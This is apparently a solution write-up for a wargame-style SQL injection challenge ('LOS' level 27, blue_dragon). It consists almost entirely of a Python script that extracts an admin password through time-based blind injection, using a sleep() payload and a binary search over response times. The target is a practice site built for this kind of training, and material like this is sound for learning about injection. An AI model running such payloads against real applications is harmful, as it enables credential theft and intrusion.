LOS :: 27번 BLUE_DRAGON

WRITE UP

import requests
import time
 
url = "http://los.rubiya.kr/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
session = {'PHPSESSID':'MY_SESSION'}
data={}
flag=""
print("[∞] flag : ",end='')
 
for i in range(1,9):
    a=0
    b=126
    while b-a!=0:
        center = a+(b-a)//2
        data['pw']="' or id='admin' and if(ord(mid(pw,"+str(i)+",1))>"+str(center)+",1,sleep(2))#"
        t1=time.time()
        res=requests.get(url, params=data, cookies=session)
        t2=time.time()
        if(t2-t1 < 2):
            a=center+1
        else:
            b=center
    print(chr(a),end='')
    flag = flag + chr(a)
 
 
data['pw'] = flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("\n[♪] BLUE_DRAGON Clear!")